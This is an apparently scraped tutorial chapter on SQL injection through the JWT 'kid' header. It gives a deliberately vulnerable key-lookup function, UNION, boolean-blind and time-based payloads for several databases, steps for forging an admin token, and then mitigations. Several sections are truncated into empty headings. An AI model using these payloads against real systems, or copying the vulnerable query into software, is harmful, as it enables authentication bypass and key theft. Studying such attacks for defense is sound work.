| FazBrowse GitHub Viewer | Trending | | Home |
| Tools: [Download Repo ZIP] [View Raw Code] [Original HTTPS Page] |
JSON Web Tokens (JWT) can contain SQL injection vulnerabilities when the kid (Key ID) header parameter is used to retrieve cryptographic keys from a database. This guide covers how SQL injection in JWT processing can lead to signature bypass and token forgery.
A JWT consists of three parts:
header.payload.signature Example: eyJhbGciOiJIUzI1NiIsICJraWQiOiIxIn0.eyJ1c2VyIjoiYWRtaW4ifQ.signature
Header (Decoded):
{
"alg": "HS256",
"kid": "1"
}Payload (Decoded):
{
"user": "admin",
"role": "administrator"
}The kid (Key ID) header parameter identifies which cryptographic key was used to sign the JWT. Applications often retrieve keys from databases:
def get_signing_key(kid):
# VULNERABLE - SQL injection in JWT processing
query = f"SELECT key FROM jwt_keys WHERE kid = '{kid}'"
return db.execute(query)| Step | Action | Result |
|---|---|---|
| 1 | Attacker crafts JWT | Malicious KID parameter injected |
| 2 | Application extracts KID | From JWT header |
| 3 | SQL query executed | To retrieve signing key |
| 4 | Injection modifies lookup | Returns unexpected key |
| 5 | Attacker forges tokens | Valid JWT with compromised key |
Malicious JWT Header:
{
"alg": "HS256",
"kid": "1' OR '1'='1"
}Resulting SQL:
SELECT key FROM jwt_keys WHERE kid = '1' OR '1'='1'
-- Returns first key, any key, or predictable keyPayload:
{
"alg": "HS256",
"kid": "1' UNION SELECT 'attacker-controlled-key'--"
}Resulting SQL:
SELECT key FROM jwt_keys WHERE kid = '1'
UNION SELECT 'attacker-controlled-key'--'Attack:
True Condition:
{
"kid": "1' AND (SELECT SUBSTRING(key,1,1) FROM jwt_keys WHERE kid='1')='a'--"
}Detection:
Payload:
{
"kid": "1' AND (SELECT pg_sleep(5)) IS NULL--"
}Detection:
Vulnerable Code:
def verify_jwt(token):
header = decode_base64(token.split('.')[0])
kid = header['kid']
# VULNERABLE
key = db.query(f"SELECT key FROM jwt_keys WHERE kid = '{kid}'")[0]
return verify_signature(token, key)Attack:
{
"alg": "HS256",
"kid": "1' UNION SELECT 'secret'--",
"user": "admin",
"role": "administrator"
}Sign with secret → Token validates as legitimate
Attack Steps:
Blind Extraction:
{
"kid": "1' AND ASCII(SUBSTRING((SELECT key FROM jwt_keys LIMIT 1),1,1))=115--"
}Extract key character by character using boolean responses.
{
"kid": "1' UNION SELECT 'hacked'--"
}Time-Based:
{
"kid": "1' AND (SELECT SLEEP(5))--"
}{
"kid": "1' UNION SELECT 'hacked'--"
}Time-Based:
{
"kid": "1' AND (SELECT pg_sleep(5)) IS NULL--"
}{
"kid": "1' UNION SELECT 'hacked'--"
}Time-Based:
{
"kid": "1'; WAITFOR DELAY '0:0:5'--"
}{
"kid": "1' UNION SELECT 'hacked' FROM DUAL--"
}Time-Based:
{
"kid": "1' AND DBMS_LOCK.SLEEP(5)=0--"
}Look for:
Basic Test:
{
"alg": "HS256",
"kid": "'"
}Error Indicators:
Boolean Test:
{
"kid": "1' AND '1'='1" → Should validate
"kid": "1' AND '1'='2" → Should fail
}Time Test:
{
"kid": "1' AND (SELECT SLEEP(5))--"
}Once confirmed:
Secure Code:
def get_signing_key(kid):
# SECURE
query = "SELECT key FROM jwt_keys WHERE kid = ?"
return db.execute(query, (kid,))def validate_kid(kid):
# KID should be alphanumeric only
if not re.match(r'^[a-zA-Z0-9_-]+$', kid):
raise ValueError("Invalid KID format")
return kid# Cache keys in memory, avoid DB lookups
KEY_CACHE = {}
def get_signing_key(kid):
if kid not in KEY_CACHE:
key = fetch_from_db(kid)
KEY_CACHE[kid] = key
return KEY_CACHE[kid]def verify_jwt(token):
header = decode_header(token)
# Verify algorithm is expected
if header['alg'] not in ['HS256', 'RS256']:
raise ValueError("Unsupported algorithm")
# Continue with key retrieval...Setup:
Task:
Payload:
{
"alg": "HS256",
"kid": "1' OR '1'='1",
"user": "admin",
"role": "administrator"
}Setup:
Task:
Setup:
Task:
Continue to 17 - GraphQL SQL Injection to learn about GraphQL API vulnerabilities.
| Back | FazBrowse Home | New Git URL |